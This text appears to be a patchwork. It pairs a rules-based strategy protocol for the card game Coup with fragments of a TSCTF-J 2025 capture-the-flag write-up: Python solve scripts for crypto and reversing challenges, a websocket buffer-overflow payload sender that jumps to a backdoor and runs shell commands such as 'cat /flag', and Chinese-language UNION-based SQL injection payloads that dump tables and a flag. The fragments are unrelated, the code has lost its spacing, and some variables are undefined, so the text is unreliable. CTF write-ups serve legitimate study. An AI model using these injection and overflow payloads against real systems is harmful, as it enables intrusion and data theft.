Action Protocol based on Coin Count: This is a strict, rules-based system. You will execute the highest priority valid action based on your current coin count. Tier 1: Startup Phase (0-2 Coins) Priority 1: Foreign Aid. The most efficient way to leave the lowest resource tier. Priority 2: Income. A fallback if the game state is highly contentious. Tier 2: Development Phase (3-6 Coins) Priority 1: Claim Duke, execute Tax. This is your primary economic action. You must attempt to build your resources to escape this tier. This signals active participation in the game. Priority 2: Claim Assassin, execute Assassinate. Condition: You have 3+ coins AND an opponent has only one influence card. Target: The player with one influence card. This is a high-efficiency move to reduce the number of players. Priority 3: Foreign Aid. A lower-risk alternative to claiming a role. Tier 3: Power Phase (7-9 Coins) Priority 1: Coup. This action is mandatory if you have 10 or more coins, but it is your top priority once you reach 7 coins. Target Selection: The target is always the player with the highest current coin count. This is a non-arbitrary, logical action that pressures the current leader. Do not target players based on past actions or perceived card strength; target them based on economic power. Priority 2: Claim Assassin, execute Assassinate. If a Coup is not possible but an assassination is, this remains a valid, threatening action. Defensive & Challenging Protocol: Defending against Assassinate: Always claim Contessa to block. This is a non-negotiable survival rule. Defending against Steal: Condition: You have two influence cards. Action: Claim Ambassador or Captain to block. This is a necessary demonstration of capability and prevents resource drain. Condition: You have one influence card. Action: Pass (do not block). When weakened, you must conserve your final influence card at all costs; a failed challenge would eliminate you. Initiating a Challenge: Condition: You will only challenge an action if you personally hold the card that the opponent is claiming (e.g., you hold the Duke and an opponent claims Duke to block Foreign Aid). Rationale: This is the only scenario with a 100% certainty of success. All other challenges are statistical risks and are forbidden under this protocol.
import joblib import os from PIL import Image import numpy as np from skimage.transform import resize from skimage.color import rgb2gray from skimage.feature import hog
import os import numpy as np from PIL import Image import joblib from skimage.transform import resize from skimage.color import rgb2gray from skimage.feature import hog
# cantors_gift_solve.py from math import factorial
hint = 2498752981111460725490082182453813672840574 hint2 = b'5__r0tfg5f_34rtm__t_0ury0hft0t3n11c_t'
defcantor_inverse(X, n): permutation = [] available = list(range(1, n + 1)) for i inrange(n): fact = factorial(n - i - 1) index = X // fact permutation.append(available[index]) available.pop(index) X %= fact return permutation
n = len(hint2) reflection = cantor_inverse(hint, n)
print("Recovered permutation:", reflection)
message = [''] * n for j inrange(n): message[reflection[j] - 1] = chr(hint2[j])
original_message = ''.join(message) flag = f'TSCTF-J{{{original_message}}}'
n = 17051407421191257766878232954687995776275810092183184400406052880776283989210979642731778073370935322411364098277851627904479300390445258684605069414401583042318910193017463817007183769745191345053634189302047446965986220310713141272104307300803560476507359063543147558286276881771260972717080160544078251002420560031692800880310702557545555020333582797788637377901506395695115351043959528307703535156759957098992921231240480724115372547821536358993064005667175508572424424498140029596238691489470392031290179060300593482514446687661068760457021164559923920591924277937814270216802997593891640228684835585559706493543 c = 6853848340403815994585475502319517119889957571722212403728096345969080424626781659085329098693249503884838912886399198433606071464349852827030377680456139046436386063565577131001152891176064224036780277315958771309063181054101040906120879494157473100295607616604515810676954786850526056316144848921849017030095717895244910724234927693999607754055953250981051858498499963202512464388765761597435963200846457903991924487952495202449073962133164877330289865956477568456497103568127103331224273528931042804794039714404647322385366048042459109584024130199496106946124782839099804356052016687352504438568019898976023369460 e = 0x10001
L = 1022 s = 3 * (1 << (L + 1))
p = (s + sqrtD) // 2 q = (s - sqrtD) // 2 assert p * q == n
phi = (p - 1) * (q - 1) d = pow(e, -1, phi) m = pow(c, d, n)
m_bytes = m.to_bytes((m.bit_length() + 7) // 8, 'big') try: flag = m_bytes.decode() except: flag = repr(m_bytes)
defon_open(ws): print("Connected, waiting 1s before sending payload\n") # small delay to let server print greeting time.sleep(1.0) # try a few payload variants variants = [] # classic off-bytes: 24-byte buffer then ret variants.append(b'A' * 24 + struct.pack('<Q', BACKDOOR) + b'\n') # try 32 padding variants.append(b'B' * 32 + struct.pack('<Q', BACKDOOR) + b'\n') # try sending as ascii hex (some services expect text) variants.append((b'C' * 24 + struct.pack('<Q', BACKDOOR)).hex().encode() + b'\n')
for idx, payload inenumerate(variants, 1): try: print(f"sending variant {idx}, len={len(payload)} (binary)") ws.send(payload, opcode=ABNF.OPCODE_BINARY) time.sleep(0.5) except Exception as e: print("binary send failed:", e) try: print(f"sending variant {idx} as latin-1 text") ws.send(payload.decode('latin-1')) time.sleep(0.5) except Exception as e2: print("text fallback failed:", e2)
# After sending payload variants, try sending shell commands that would reveal the flag commands = [b'id\n', b'ls -la\n', b'cat flag\n', b'cat /flag\n'] # send as text frames (shell expects text) for cmd in commands: try: print(f"sending command: {cmd!r}") ws.send(cmd.decode('latin-1')) time.sleep(0.5) except Exception as e: print("failed to send command:", e)
flag = bytearray() for i inrange(len(encrypted_data)): decrypted_byte = encrypted_data[i] ^ real_xor_key[i % len(real_xor_key)] flag.append(decrypted_byte)
print("Flag: ") print(flag.decode('utf-8'))
# Flag: TSCTF-J{We1c@me_t0_TS_CTF_2025}
由于我压根不会调试(都怪 24 年 - 25 年大模型发展太快了,代码有问题都去问 ai 不会手动下断点调试 x),所以没用 hint 中 F9 的建议
defbuild_S_from_ntdll(header_hex: str) -> List[int]: header = bytes.fromhex(header_hex) iflen(header) != 64: raise ValueError("ntdll header must be 64 bytes (128 hex chars)") S = list(header * 4) return S
defrc4_prga_stream(S: List[int], length: int) -> bytes: S = S.copy() i = 0 j = 0 out = bytearray() for _ inrange(length): i = (i + 1) & 0xFF a = S[i] j = (j + a) & 0xFF S[i], S[j] = S[j], S[i] t = (S[i] + S[j]) & 0xFF k = S[t] out.append(k) returnbytes(out)
defget_ciphertext() -> bytes: dword_list = [ 0xC4FBEB0E, 0x7B0760D6, 0x74792557, 0x5712345F, 0x7E292330, 0x7C382B3F, 0x39792A12, 0x75691208, 0x2B7E7B7F, 0x302C282F, ] returnb"".join(struct.pack('<I', d) for d in dword_list)
defdecrypt_with_S(S: List[int], ciphertext: bytes) -> bytes: ks = rc4_prga_stream(S, len(ciphertext)) returnbytes(c ^ k for c, k inzip(ciphertext, ks))
defpretty_print_flag(flag_bytes: bytes) -> None: print("Flag :") try: print(flag_bytes.decode('utf-8')) except UnicodeDecodeError: try: print("latin-1:", flag_bytes.decode('latin-1')) except Exception: pass printable = ''.join((chr(b) if32 <= b <= 126else'.') for b in flag_bytes) print("printable:", printable) print("hex:", binascii.hexlify(flag_bytes).decode('ascii')) print("base64:", base64.b64encode(flag_bytes).decode('ascii'))
defmain() -> None: S = build_S_from_ntdll(ntdll_header_hex) ciphertext = get_ciphertext() flag = decrypt_with_S(S, ciphertext) pretty_print_flag(flag)
if __name__ == '__main__': main()
Web
是的你没听错,我只做出来 EZ_SQL。赛前觉得 web 这块自己开发时候多少了解点,没想到 ctf 是完全不一个方向(其实也就只点开了三四道题)。不过说起来不知道为啥用 top1000 的 s 开头密码去爆破 EZ_Login 那题没爆出来,当时觉得“这题真是爆破弱密码那也太没意思了”就没再做。
EZ_SQL
id=334 获得的是假 fleg(我是铸币)。名字带 SQL 说明是要 SQL 解决了
0' 错误 0' and '1'='1 正常而 0' and '1'='2 错误。说明为字符型注入;
id=0' ORDER BY 4--+ 错误但是 1-3 都可以,说明就三列;
id=0' UNION SELECT 1,database(),version()--+ 返回 1 welcome 10.5.29-MariaDB-0+deb11u1 ,数据库名称叫 welcome,类型叫 MariaDB,语法与 MySQL 类似
id=0' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='welcome'--+ 返回 1 overview_vulnerabilities,flag 3,前面一长串估计就是前端显示的那个,直接获得 flag 即可
id=0' UNION SELECT 1,CONVERT(flag USING utf8),3 FROM flag--+ 获得 flag